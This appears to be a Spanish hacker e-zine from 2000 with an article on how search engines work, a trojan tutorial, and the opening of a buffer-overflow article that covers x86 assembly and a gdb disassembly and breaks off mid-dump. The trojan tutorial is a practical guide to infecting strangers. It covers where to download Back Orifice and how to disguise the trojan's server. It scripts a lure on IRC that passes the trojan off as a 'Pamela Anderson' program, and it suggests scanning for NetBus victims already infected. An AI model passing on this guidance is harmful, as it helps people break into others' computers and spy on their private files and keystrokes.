ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Tahum & pollo1 ]
" Buscadores "
.-==================-.
[ Tahum. Abril 2000. ]
`-==================-'
Rompiendo el hielo...
^^^^^^^^^^^^^^^^^^^^^
Antes de nada hola a todos :). Aqui voy a explicar el funcionamiento de los
buscadores, tema muy sencillote, pero como no lo he visto tradado en ninguna
parte, pues me he dicho, vamos a colaborar pa'l ezine del ripe ;). Fuera
rollos decir que este texto esta hecho con fines puramente informativos...
Aunque dudo que se le pueda dar un mal uso, aunque quien sabe. Venga, creo
que ya me he extendido bastante, a lo que vamos.
Entrando en materia
^^^^^^^^^^^^^^^^^^^
Una de las virtudes de esta gran red de redes como es internet (intersne
para los amigos) es que esta repleta de informacion, a ser exactos la red
actualmenta aloja 20 terabytes de informacion (a que impresiona?), pero de
manera desornada, por lo que encontrar un documento en concreto sobre,
pongamos por caso, como sacarte los restos de comida que se te quedan entre
los dientes despues de comer paella, puede ser toda una aventura. Pues para
eso se han inventado los buscadores, para buscar (toda una deduccion si
se~or...). El buscador, segun la palabra o palabras que has introducido,
ofrece una lista de paginas (en caso de que haya encontrado la palabra que
introdujimos) relacionadas con el tema en cuestion. A la hora de buscar
algo, deberemos ir al servidor que tenga la base de datos de webs mas amplia
y que tengan un buen buscador.
Bueno, despues de este rollo que veo por ahi que ha provocado algun que otro
bostezo, vamos a ver como funciona un buscador, cosa ya mas interesante :).
El funcionamiento de un buscador se rige por etapas, que siguen este orden:
Etapa de recoleccion
^^^^^^^^^^^^^^^^^^^^
O llamese tambien engordar la base de datos. Esto consiste en meter todas
las paginas o documentos que se hayan encontrado en la red a una base de
datos del servidor, de manera que tengamos la mayor informacion posible,
afavoreciendo al usuario. La recoleccion de dichos documentos se suele hacer
mediante un programa, que no cesa de buscar paginas para mas tarde ejercer
la etapa del indexado. Dicho programa recibe el nombre de programa robot.
El indexado
^^^^^^^^^^^
Esta fase clasifica todos los documentos encontrados, de manera que sean
eficazmente encontrados por el usuario. Para dicha labor el programa robot,
despues de encontrar una pagina/documento la desglosa y saca de ella unas
palabras clave, que son las que se pasan a ser parte del "indice invertido",
que no es mas que la referencia al documento, me explico, cuando vosotros en
un buscador meteis una palabra y le dais a buscar, si os encuentra alguna
referencia es que la palabra que habeis metido se encontraba en el dichoso
"indice invertido". El indexado coge del documento en cuestion, el idioma,
el tema, la fecha de modificacion, y algunas cosas mas.
El servicio de peticiones
^^^^^^^^^^^^^^^^^^^^^^^^^
Esta parte es la que se encarga de buscar documentos a partir de la palabra
o palabras que se ha introducido. Y es esto lo que diferencia un buscador
de otro, el algoritmo de exploracion, lo importante a la hora de buscar. El
proceso es este: segun la palabra que se ha introducido se procede a
encontrar los documentos relacionados con dicho termino. Este proceso puede
cambiar si se introduce mas de una palabra, si, pongamos por caso buscais
"ripe semental" pues buscara todas los documentos que contengan los terminos
"ripe" y "semental" juntos, en un mismo documento, recorriendo todos los
documentos que contengan estas palabras indivudualmente y recorriendolas
esta vez para ver si "ripe" y "semental" coincidieran (que me da que no se
dara el caso ;D). Y si buscaramos "ripe peaso semental" pues lo mismo tan
solo que ahora el documento debe de tener la palabra peaso.
<Ripe: mmmmmm, sin comentarios xD>
Curiosidades
^^^^^^^^^^^^
Como curiosidades destacar que he conocido de algun servidor que hace un
tiempo no admitia que anunciaramos su web en su servidor si dicha pagina
era de contenido pornografico... Cuando el 75% del trafico de internet se
centra en las paginas de contenido pornografico, y el 40% de las busquedas
tienen como palabra clave "sexo". Tambien como dato os voy a decir las
caracteristicas que tienia el ( los) servidor altavista... 20 servidores
equipados con 10 procesadores de 12 gigabytes de memoria activa y, nada mas
que 300 gigas de HD. Como otra curiosidad comentar que las empresas y
particulares que se incluyen su web en un determinado buscador buscan que su
site se encuentre usando como palabras de referencia todas las posibles,
anunciando su pagina varias veces y catalogandola con palabras distintas a
las anteriores... Teniendo asi mas posibilides de que el usuario se tope con
la web que anuncia. Pues hay servidores que consienten esto, pues no tienen
un indice de documentos grande alojado en su servidor y necesitan webs
aunque esten repetidas... Y hay otros servidores que no lo consienten, y
hacen constantes revisiones para evitar estos abusos. Hay de todo.
<Ripe: Los servidores de altavista son un
pedo comparado con mi p166 :)>
Despedida
Bueno, esto ha sido todo, espero que os haya servido, para tener algo de
culturilla informatica :). Pero no me voy a ir sin antes saludar a todos los
del canal #hacker_novatos, #networking y #root, y en especial a Doing y a
Ripe :). Hasta otra.
"Eche que entra en un bar y dise..."
<Ripe: Una birra pal chav >
Tahum. (tahum@demasiado.com)
------------------------------------------------------------------------------
------------------------------------------------------------------------------
_______ ___ ___
/\ ___ \ /\_ \ /\_ \ ®
\ \ \__\_\ ___ \//\ \ \//\ \ ___
\ \ ____\ / __`\ \\ \ \ \ \ / __`\
\ \ \___//\ \L\ \ \\ \_ \_\ \_ /\ \L\ \
\ \_\ \ \____/ /\____\/\____\\ \____/
\/_/ \/___/ \/____/\/____/ \/___/
<<<<<< (que cutre)
{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
} Yo no me responsabilizo del mal uso que el lector puede hacer de la {
} informacion que esta contenida, ya que esta esta expuesta con fines {
} educativos. Asi que ya sabes. {
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
Marzo del 2000
Tutorial sobre los troyanos:
================================================pollo1=======================
<Ripe: Antes de empezar, quizas contar la procedencia del nombre
con el que se denominan estos programas (que a mi parecer
es lo mas bonito de todo este tinglado).
Supongo que muchos de los que esteis lellendo esto
conocereis ya la historia de la guerra de Troya, pero por
si alguien no la sabe ahi va:
"Los Griegos, enemigos de los Troyanos en esa epoca,
se plantearon la posiblidad de atacar Troya, pero debido
a la fortaleza y estructuracion de las murallas se vieron
obligados a ingeniarselas para entrar, lo que izieron fue
crear un gran caballo de madera, se metieron todos dentro
y lo abandonaron derca de la playa. Un infiltrado de los
Griegos convencia a los troyanos de que se trataba del
envio de un dio, por lo que los Troyanos decidieron
recogerlo, una vez dentro de Troya, los griegos salieron
del interior del caballo y ganaron la guerra."
De ahi salio el nombre de "caballo de troya" que poco a
poco se ha ido simplificando a "troyano".>
¨Que es un troyano?<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Aunque seguramente ya lo sabeis creo q no vendra mal explicar q es un
troyano. Hablare un poco por encima de esto aunque se podria excribir un
libro de estos programas informaticos. Se le llama troyano al programa que
infecta los puertos del sistema por causa de su ejecucion, no confundir con
virus aunque en realidad es un virus q solo se dedica a infectar puertos
especificos para los q el programador de ellos quiere q infecte, un troyano
suele ser camuflado por la gente para tener acceso facilmente al disco duro
de el q este metido, suelen estar nombrados (si este nombre no a sido
manipulado) con el nombre de serve q es el q abre la puerta hacia tu sistema,
por ejemplo el troyano del netbus tendra el nombre de netbus-serve asi q si
veis q os a pasado algun pardillo el troyano con el nombre del serve no se os
ocurra ejecutarlo.
<Ripe: Hay que matizar un poco esto; Un troyano no es nunca
un virus, pues no se reproduce a si mismo, y lo de
infectar puertos.... yo mas bien diria que los abre,
o que activa un servicio de red a espaldas del
administrador del sistema afectado>
Hoy en dia existen miles de troyanos desconocidos q estan circulando por la
red de inter-net.
Para el acceso a un ordenador q este infectado, no solo vale con q este
infectado sino q necisitas el famoso "client" q es el programa q controla el
puerto q halla infectao el troyano hay clients muy buenos para su facil
utilizamiento como por ejemplo el subseven o sub7 q tiene grandes utilidades
como de espionaje a la persono infectada, bajarse archivos de su disco duro,
etc...
Yo creo q esto es suficiente para saber un poco q es un troyanete.
¨Donde los consigo?<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Es facil buscar troyanos, puedes encontrarlos en buscadores como en el
altavista q es www.altavista.com ahi esncontrareis troyanos incluso links de
paginas cuyos le ahi a patadas, "ojo" tened cuidado con lo q os bajais ya q
suele haver mala gente q publica programillas q son troyanos.
aki tengo algunas direcciones:
http://www.cultdeadcow.com > Para conseguir el Back Oriffice
Ya me lo e vajado, y ¨ahora que?<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Bien, se supone que te has bajado algun troyano, por ejemplo el Bo (Back
Orifice) pues descomprimelo y veras una carpeta q dentro de ella te
encontraras con la materia q solo debes ejecutar el q no suele tener icono y
q esta acompa¤ado del nombre "cliente" NO EJECUTES NUNCA EL Q ESTA NOMBRADO
CON "SERVE" ya q te autoinfectarias, y eso no hace gracia, tambien en algunos
casos esta el editor del servidor conocido normalmente como edit-server q
esto sirve para poder cambiar el icono del troyano, poner contrase¤a de
acceso(de esto profundizo mas adelante), en fin ya me entendeis, para colarle
el troyano a alguien y q este camufladete pa q no nos pillen. :)
Pues bien solo puedes ejecutar el cliente y el editor del server.
Ohhhh no, estoy infectado!!!!!!!!!<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
* De mi propio troyano:
Si estas infectado por q no me has hecho caso y lo has ejecutado, enhora
buena ahora las personas q tienen el cliente de ese troyano podran entrar en
tus unidades, y mirar las cartas de tu novia, documentos confidenciales de tu
papa, podran jugar con tu cd rom abriendolo y cerrandolo, saber lo q estas
escribiendo en ese momento, etc. En ese caso desconectate de inter-net
rapidamente y si tienes el cliente del troyano, intenta buscar la opcion de
autodesinfeccion del serve, si no tiene la opcion, coge el anti virus y cruza
los dedos pa q lo desinfecte o q siquiera lo detecte, si no borralo
manualmente aunque es una chapuza, ya q se quedan siempre residuos del
troyano en en el sistema de tu sistema operativo.
* De un troyano desconocido:
Joer tio, ten cuidado con lo q te mandan. Si estas infectado con un troyano q
te ha mandao un capullete, reza pa q sea conocido como el netbus, sub7, Bo,
Doly, Hack.a.tack, etc.... ya q puedes encontrar vacunas facilmente por la
red sobre estos, si no es conocido sera mejor q te busques un buen antivirus
pa poder desinfectarlo. Si no consigues quitartelo de encima no pidas alluda
en un canal del irc, ya q se aprovecharan tu informacion pa entrar en tu HD y
les das el trabajo hecho. Pideselo siempre a alguien en privado q sepas q no
te fastidiara. Si no lo logras mandame un e-mail pa ver si puedo hacer algo,
o si no formatea el HD. :)
¨Como infecto a alguien?<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Bueno para enpezar a infectar tienes q conocer bien el troyano q vas a
utilizar para su infecion y tener bien configurado el cliente.
* Truquillos pa colar troyanos :
Llega la parte en la que hay q ser un poco espavilado y tener un poco de
imaginacion ya q tienes q colar un troyano en el sistema del del enemigo.
Utilizaremos el famoso dcc para el envio de este. El dcc es el sistema de
envio del irc (poco lento) para conectarte al irc ya sabras q necesitas un
Script. Para este trabajo vale cualquiera pero si es bueno pos mejor. Yo
recomiendo el "enigma" q es mi preferido.
http://enigma.web-page.net
Pos bueno como iva diciendo para colarles bien sera mejor q lo hagas desde el
irc, ya q es un sistema de chat muy bueno en el q obtiene sistema de envio
dcc.
1.- Entra en un canal en el q se use mucho el dcc, como por ejemplo el canal
#fotos_guarras q es un canal en el q se envian fotos a pu¤ados.
2.- Abre un privado a uno con nick de pringado como por ejemplo "rodrigo5" y
pidele fotos guarras.
3.- Cuando te pida algo a cambio di q tienes una aplicacion hecha con Visual
Basic sobre Pamela Anderson y q es un archivo ejecutable.
4.- Puedo garantizar q casi seguro q lo acepta, asi q no cierres el privado
cuando lo haya aceptado.
5.- Pidele tu opinion cuando termine la carga del dcc.
6.- Cuando lo ejecute se llevara una desilusion ya q no aparecera nada, ahi
te lo tienes q currar un poco y decirle q sera un fallo de envio.
7.- Cuando te confirme q lo ha ejecutao, enhorabuena has infectado al
pobrecillo q solo queria ver una animacion de Pamela. :)
* Trabajo hecho
Hay mucha gente en los canales guarros q estan infectados ya, por otras
buenas personas q te hacen el trabajo sucio. Para saber la gente q esta
infectada tienes q conseguir un scaneador de puertos, q por cierto en el
enigma-script viene uno bueno. No voy a hablar sobre scaneamientos de
puertos, porque eso seria desviarnos del tema. Mucha gente tiene el puerto
del netbus 1.6 o 1.7 q es el mismo usa el puerto 12345, pues ese es de lo que
mas vas a encontrar si escaneas, suele haber mucha gente infectado con eso en
canales q se usa mucho el dcc Para saber el troyano q tienes infectado e
a¤adido una peque¤a lista de algunos troyanos.
<Ripe: Debido al tama¤o de la lista hemos decidido
meterla en un fichero aparte, "lstrojans.txt">
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º10.- Desvordando el buffer º Programacion º Alto/Muy alto º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Doing & Ripe ]
NOTA: Este articulo ha estado escrito por Doing y Ripe... Los apartados
escritos por cada uno de ellos son:
Doing: -Algo de ASM
-Accesos a memoria
-El modo protegido del 386
-La pila (o stack)
-Alguna instrucciones en ASM
-Variables locales
-La base de los exploits
Ripe: -Esta NOTA :P
-Algo sobre los procesos en UNIX
-Volvamos al ejemplo anterior
-¨Con que aplicaciones chuta todo esto?
Esperamos que el articulo sea de vuestro agrado.... y que podais
explotar muchos sistemas con vuestros *propios* exploits, happy
hacking :)
INTRODUCCION
~~~~~~~~~~~~
Hola lectores. En este articulo vamos a intentar explicar detalladamente
que co¤o es un buffer overflow o desbordamiento de buffer, asi como la forma
de explotarlo. Debido a que es un tema que requiere algun conocimiento de
ensamblador describiremos un poco este lenguaje, lo justo para que se
entienda lo que vamos a decir. Bueno, sin mas preambulos, vamos alla.
ALGO DE ASM
~~~~~~~~~~~
El asm es un lenguaje mas bien simple, pero con simple me refiero a que
las cosas que se pueden hacer son simples, como mover un registro en otro,
hacer una escritura en memoria, etc. Asi que no tiene variables, ni punteros
ni expresiones logicas, etc... El asm basicamente interactua entre la memoria
del pc, los registros del procesador y los puertos de E/S. Los registros del
procesador son los siguientes:
-EAX, EBX, ECX, EDX.
Son los registros de proposito general. Se podria decir que se pueden usar
como variables. El EAX recibe el nombre de acumulador, ademas es el destino
por defecto de algunas operaciones aritmeticas, como la division.
-ESI, EDI.
Se usan como punteros indice y destino respectivamente en las operaciones
de copia de cadenas de caracteres, es decir, cuando vas a copiar, por
ejemplo, cuatro caracteres de A a B, pues pones en ESI el valor A y en EDI el
valor B, y ejecutas la instruccion de copiar.
-EBP, ESP.
Estos registros son algo "especiales". Su utilidad la explicare mas
adelante.
-CS, DS, ES, SS.
Estos registros se usan para almacenar la direccion de algun segmento. El
CS almacena la direccion del segmento que contiene el codigo, el DS almacena
la del segmento de datos, y el ES es un registro "extra", puedes poner en el
el valor que se desee. El registro SS contiene la direccion del segmento de
stack o pila, del que hablare mas adelante.
-EIP.
El EIP, tambien se le llama contador de programa o instruction pointer.
Contiene la direccion de la __siguiente__ instruccion a ejecutar.
NOTA: Puede que algunos de los lectores conozcan lenguaje ASM en ms-dos. A lo
mejor estan confundidos por el cambio de nombre de los registros. En
ms-dos, los registros se llamaban ax, bx, cx, etc. Con la aparicion del
386 los registros cambiaron su longitud, pasaron de ser de 16 bits a 32
bits. Para mantener la compatibilidad en el lenguaje y demas, los
registros ax, bx, etc, se pueden seguir usando, pero al registro
"grande", al de 32 bits, se le a¤adio la E de "Extended". Otra cosa;
los registros ax, bx, etc... se pueden dividir en dos mas
peque¤os.
llamados ah y al, bx y bl, etc, que hacen referencia a los 8 bits mas
altos del registro (ah) y a los 8 mas bajos (al). Un esquema para que
os quede mas claro:
EAX (32 bits)
__________________________________________
/ 12345678 12345678 12345678 12345678\
-------- --------
\ AH (8 bits) AL (8 bits) /
-------------------------
AX (16 bits)
ACCESOS A MEMORIA
~~~~~~~~~~~~~~~~~
Para acceder a memoria se usan dos "numeros", el segmento y el
desplazamiento (offset). Lo del segmento y el desplazamiento viene de anta¤o
y era porque en los primeros ordenadores, con los registros de 16 bits no se
podia direccionar mucha memoria, asi que se opto por dividir la memoria en
segmentos:
Segmento 1: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Segmento 0: 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0
^
Entonces, para acceder a memoria se usaban dos registros: uno que contenia
el segmento, y otro el desplazamiento, separados por dos puntos. El 1 de los
dos segmentos de arriba estaria en la direccion 0:5. Hasta ahora facil, no?
Esta seria la direccion "virtual" (0:5). Para calcular la direccion que se
le pasa a la RAM (la direccion _física_) se hace el siguiente calculo:
Direccion fisica = ( segmento * 16 ) + desplazamiento
Bueno, pues un apunte: antes he dicho que EIP contenia la direccion de la
siguiente direccion a ejecutar no?. Pero acabo de decir que para acceder a
memoria hacen falta 2 datos. La direccion del segmento de codigo se encuentra
en el registro CS. Por lo tanto la direccion de la proxima direccion a
ejecutar seria CS:EIP.
EL MODO PROTEGIDO DEL 386
~~~~~~~~~~~~~~~~~~~~~~~~~
Uno de los grandes avances en sistemas operativos, ha sido el utilizar el
modo protegido del 386 para funcionar. En los S.O.s antiguos, como ms-dos,
solo se podia ejecutar un programa a la vez, o sea, que eran monotarea.
Ademas ese programa que se estaba ejecutando podia acceder a TODA la memoria.
Con la llegada de los S.O.s multitarea y multiusuario (como Linux, jeje :) la
cosa se complico un poco. Ahora se necesitaba correr sobre un mismo
procesador varios procesos simultaneos, y ademas, esos procesos no podian
acceder a toda la memoria, si no, se podrian leer los passwords de los
usuarios desde cualquier programa.
Pues bien, el modo protegido del 386 nos da la opcion de realizar todo eso.
En el modo protegido, hay varios tipos de codigo, segun sus privilegios. El
nivel mas privilegiado es el Ring 0, tambien llamado modo administrador. El
siguiente nivel es el Ring 1, que tambien es modo administrador pero con
menos privilegios que el Ring 0, y el Ring 2 idem. El Ring 3 es el ultimo
tipo de codigo, y es el menos privilegiado. Se le llama modo usuario. En los
S.O.s actuales solo se usan el Ring 0 y el Ring 3.
Desde el codigo Ring 0 se puede leer y escribir en toda la memoria.
Entonces, que codigo se ejecuta en Ring 0? El kernel, claro. Y en el Ring 3
los procesos de usuario. En codigo Ring 3 los accesos a memoria se hacen de
una forma "algo" distinta. En Ring 3 cuando un proceso quiere acceder a
memoria, el procesador "traduce" primero la direccion virtual (segmento +
desplazamiento) a una direccion unica, y despues, la __mapea__ a una
direccion fisica, siguiendo unas tablas que gestiona el kernel, y que son
unicas e independientes para cada proceso. Estas tablas, se encuentran en
memoria, y la direccion de ellas se encuentra en el registro de control 3
( cr3 ) del procesador. No he puesto este registro arriba porque solo puede
ser modificado por codigo con privilegios Ring 0, o sea, que solo el kernel
puede modificar las tablas para cada proceso (logico, no?).
Vamos, que un proceso puede estar intentando leer de la posicion de
memoria 0xbff8aecd, y resulta que en realidad esta leyendo de la posicion
0x6666666. Eso solo lo sabe el kernel. Ademas, la memoria que esta mapeada
a cada proceso va dividida en paginas. Cada pagina tiene sus propios
atributos, como lectura, escritura y ejecucion. Si un proceso intenta
escribir en una pagina de memoria en la que no tiene permisos, el procesaodor
generara una exepcion al kernel, y este matara al proceso con una se¤al
SIGSEV.
Ademas, no toda la memoria esta mapeada a cada proceso, solo la que va a
usar. Si un proceso trata de acceder a una region de memoria no asignada
pasa lo mismo de antes (SIGSEV).
Una cosa mas, las llamadas al sistema (syscalls). Cuando un proceso quiere
abrir un fichero, o mandar una se¤al a otro, ¨como demonios lo hace? Como no
puede escribir fuera de su espacio de direcciones, lo que hace es llamar al
kernel. Y como lo llama? Mediante una syscall. En linux se usa la
interrupcion 0x80. Nada mas llamar a esa interrupcion el sistema salta a
codigo Ring 0, y el kernel mira el reg. EAX, que contiene el indice de la
syscall. En los registros EBX, ECX, EDX, ESI Y EDI se pasan los parametros
de la syscall. Cuando el sistema vuelve a codigo Ring 3, el reg. EAX contiene
el valor que ha devuelto la syscall.
LA PILA (O STACK)
~~~~~~~~~~~~~~~~~
Cuando empeze a hablar del ASM dije que no tenia variables. Pero el ASM
tiene una region de memoria llamada pila que un programa puede usar para
guardar valores, tales como variables locales, direcciones de retorno, etc.
La pila se encuentra situada en SS:ESP. La pila es una estructura LIFO,
el primero que entra es el ultimo que sale (Last In, First Out). Para
guardar un dato en la pila se usa la instruccion push, y para sacar el ultimo
dato metido en la pila se usa pop. Pongamos un ejemplo:
CS vale 0 y ESP vale 200.
Nosotros guardamos en la pila el contenido de EAX.
pushl %eax
Ahora CS sigue valiendo 0, pero ESP vale 196. Si, 196, porque la pila va
disminuyendo segun se meten mas valores. Disminuye 4 porque el reg. EAX
es un reg. de 32 bits, o sea, 4 bytes.
Ahora guardamos BX.
pushw %bx
Ahora ESP vale 194. Le restamos 2 porque bx ocupa 2 bytes.
En este momento tenemos 2 valores en la pila. Si hicieramos un pop ahora,
el valor que obtendriamos seria el del reg. bx, porque ha sido el ultimo en
meterse.
Mas tarde entrare en detalle sobre las variables locales y direcciones de
retorno.
ALGUNAS INSTRUCCIONES EN ASM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Antes de nada, en linux, la mayoria de las instrucciones de ASM llevan
una letra indicando el tama¤o del dato o registro sobre el que actuan.
Estas letras son 3:
b : byte (8 bits)
w : word (16 bits)
l : long (32 bits)
Instrucciones:
mov - Mueve un registro a otro, una posicion de memoria a un registro, o
un registro a una posicion de memoria.
movl %eax, %ebx # Mueve el contenido del registro eax (32 bits) en
# el EBX.
movb %bh, 4 # Mueve el contenido del registro bh (8 bits) en la
# pos. de memoria 4.
movw 0x12, %ax # Mueve 16 bits (2 bytes) desde la pos. de memoria
# 0x12 al reg. ax
Las refencias a memoria puedes ser absolutas, como las de arriba, o bien,
pueden ir referenciadas a un registro. Pe:
movl %eax, 0x12(%ebp) # Mueve el contenido de EAX a la pos. de
# memoria ebp + 0x12
lea - Mete en el segundo operando la direccion de memoria del primero.
leal 0x8(%ebp), %eax # Guarda en eax la direccion 0x8 + ebp
xor - Realiza un xor entre el primer y segundo operando y guarda el
resultado en el segundo operando.
xorl %eax, %ebx # Guarda en ebx el resultado de eax ^ ebx
or - Realiza un or entre el primer y segundo operando y guarda el resultado
en el segundo operando.
orl %eax, %ebx # Guarda en ebx el resultado de eax | ebx
and - Realiza un and entre el primer y segundo operando y guarda el
resultado en el segundo operando.
andl %eax, %ebx # Guarda en ebx el resultado de eax & ebx
int - Lanza una interrupcion
int $0x80 # Llama a la int 0x80. Notese el signo $
jmp - Salta a la direccion especificada (relativa)
jmp 9 # salta 9 bytes por delante de la instruccion actual.
call - Llama a la funcion que se encuentra en la direccion especificada
(relativa)
call 5 # Llama a la funcion que se encuentra 5 bytes por delante de
# la instruccion actual.
inc - Incrementa el operando en 1
inc %ebx # ebx = ebx + 1;
dec - decrementa el operando en 1
dec %ecx # ecx = ecx - 1
VARIABLES LOCALES
~~~~~~~~~~~~~~~~~
Cuando se hace un programa en C, hay dos tipos de variables. Estan las
variables globales, que se encuentran en el segmento de datos. Y tambien
existen unas variables llamadas locales, que se llaman asi porque solo se
usan en una funcion en concreto, por ejemplo una variable contador. Seria una
tonteria definirla como global, si el bucle en el que se va a usar esta en
una funcion. La pregunta es, ¨donde co¤o se guardan estas variables? Se
guardan en la pila.
Y otra cosa muy importante. Hay que entender el concepto de funcion. Un
programa es simplemente una secuencia de bytes, que el procesador traducira a
instrucciones que hacen algo. Cuando ejecutas un programa, el kernel lo carga
en memoria, y le cede el control en su "Program Entry Point", que por norma
general es el inicio de su funcion main(). Pero como imagino que ya sabreis,
no se puede hacer todo un programa de forma secuencial, asi que se usan las
funciones (programacion estructurada).
Una funcion puede hacer algo tan simple como sumar dos numeros, y devolver
su resultado. ¨Como co¤o hace esto? Bien, supongamos que estamos ejecutando
nuestro programa. Ahora esta en la instruccion 1. Nuestro programa va a
llamar a una funcion que suma dos numeros que se le pasan como argumentos.
Pero, ¨como se le pasan los argumentos? Pues se le pasan por la pila, como
veis sirve para bastantes cosas. Volvamos al programa. Se encuentra en la
instruccion 1, CS vale 1, SS vale 2 y DS vale 3. EBP y ESP valen lo mismo,
200. Para llamar a la funcion hay que pasarle primero sus dos argumentos.
Pues para eso usamos sendos push's.
1 push ARG_2
2 push ARG_1 [ Los argumentos se pasan en orden inverso ]
Ahora ESP vale 192 (200 - 4 * 2). Ahora estamos en la inst. 3. En ella esta
una llamada a la funcion que suma los numeros.
3 call offset_de_la_funcion_sumadora
La pregunta de ahora es, ¨como sabe la funcion sumadora a donde tiene que
saltar cuando finalize? Dicho de otra forma: cuando el programa llama a la
funcion, el programa salta al codigo de la funcion, y cuando esta termina,
debe saltar a la inst. n§4, asi que la direccion de la ins. n§4 se debe
guardar en algun sitio. ¨Donde? Pues en la pila, co¤o! xD.
Cuando se llama a una funcion automaticamente se "pushea" en la pila la
direccion de la ins. que esta delante de la llamada.
equivale a
call 2 ---------------------> pushl direccion_de_la_ins_siguiente
jmp 2
Ok. Volvamos a nuestro programa. Despues de la llamada, el programa salta al
codigo de la funcion. Ahora la funcion debe reservar espacio en la pila para
sus variables locales, acceder a los argumentos que se le han pasado, colocar
la suma de los args. en EAX y volver a la ins. n§4. ¨Parece dificil, eh? :)
Lo primero que hace es reservar espacio en la pila para sus variables.
Recordemos como esta la pila en la ins. 1 de la funcion:
[DIRECCION_DE_LA_INS_4] [ARGUMENTO_1] [ARGUMENTO_2] [??????]
^
ESP apunta aqui
¨Como podemos reservar espacio para las variables? Si recordais, todavia
hay un registro que no he dicho para que sirve, el EBP. ¨A que no adivinais
para que sirve? ;->. "reservar" significa conseguir que una region de memoria
solo sea accesible para lo que nosotros lo "reservamos". Si las variables
se guardan en la pila, y la pila tambien se usa para un huevo de cosas, ¨como
se puede reservar espacio? Pues restando un numero a ESP. Por ejemplo, voy a
reservar 4 bytes en la pila de arriba:
subl $4, %esp # le resto 4 a ESP
Entonces la pila queda asi.
[4_BYTES_RESERVADOS][DIRECCION_DE_LA_INS_4][ARGUMENTO_1][ARGUMENTO_2][???]
^
ESP apunta aqui
Ahora podemos "pushear" lo que queramos en la pila porque nuestras
variables estan delante de ESP, y los datos que "pusheemos" no las
sobreescribiran.
Ya tenemos resuelto el problema del espacio, pero todavia queda otro.
La unica referencia que tenemos para acceder a las variables es el reg. ESP,
pero ESP se usa para guardar y sacar datos de la pila, asi que puede variar.
Aqui es donde entra en juego el registro EBP.
Justo antes de restar el espacio a reservar en la pila de ESP, se hace una
copia de ESP en EBP, de forma que EBP siempre vale lo mismo, y se queda
apuntando de la siguiente manera:
[4_BYTES_RESERVADOS][DIRECCION_DE_LA_INS_4][ARGUMENTO_1][ARGUMENTO_2][???]
^ ^
ESP apunta aqui Y EBP apunta aqui
Entonces quedamos en que EBP se usa para referenciar las variables locales
de una funcion, pero, ¨que pasa con el valor de EBP de la funcion llamante?
Es decir, la funcion que llama a nuestra funcion sumadora de ejemplo tambien
tendra sus variables locales, y para referenciarlas le hara falta el reg.
EBP. ¨Donde lo guarda? Pues si se¤or, lo has adivinado: en la pila :).
Para aclarar un poco todo esto vamos a hacer nuestro programilla de ejemplo
en C y luego lo desemsamblamos. Vamos alla.
***** programa sumador ********
#include <stdio.h>
int suma(int a, int b)
{
int resultado;
resultado = a + b;
return resultado;
}
void main()
{
suma(1, 2);
}
*******************************
Lo compilo y despues lo desemsamblo (mis comentarios entre []):
# gcc suma.c -o suma
# gdb suma
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
[ Lo primero que voy a hacer es desemsamblar la funcion main ]
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f0 <main>: push %ebp
0x80483f1 <main+1>: mov %esp,%ebp
0x80483f3 <main+3>: push $0x2
0x80483f5 <main+5>: push $0x1
0x80483f7 <main+7>: call 0x80483c0 <suma>
0x80483fc <main+12>: add $0x8,%esp
0x80483ff <main+15>: mov %ebp,%esp
0x8048401 <main+17>: pop %ebp
0x8048402 <main+18>: ret
End of assembler dump.
[ En el programa en C se ve que lo unico que hace la func. main() es
llamar a la funcion suma pasandole como parametros los numeros 1 y 2.
En las dos primeras lineas:
0x80483f0 <main>: push %ebp
0x80483f1 <main+1>: mov %esp,%ebp
El programa pone en la pila EBP y copia ESP en EBP, como si fuera a
reservar espacio para sus variables locales, pero como veis, no tiene, asi
que leugo no le resta nada a ESP.
Despues pone los numeros 1 y 2 en la pila y llama a la funcion suma():
0x80483f3 <main+3>: push $0x2
0x80483f5 <main+5>: push $0x1
0x80483f7 <main+7>: call 0x80483c0 <suma>
Y la instruccion:
0x80483fc <main+12>: add $0x8,%esp
Deja ESP como estaba justo antes de pasarle los args. a la func. suma() ]
[ Ahora desemsamblo suma() ]
(gdb) disassemble suma
Dump of assembler code for function suma:
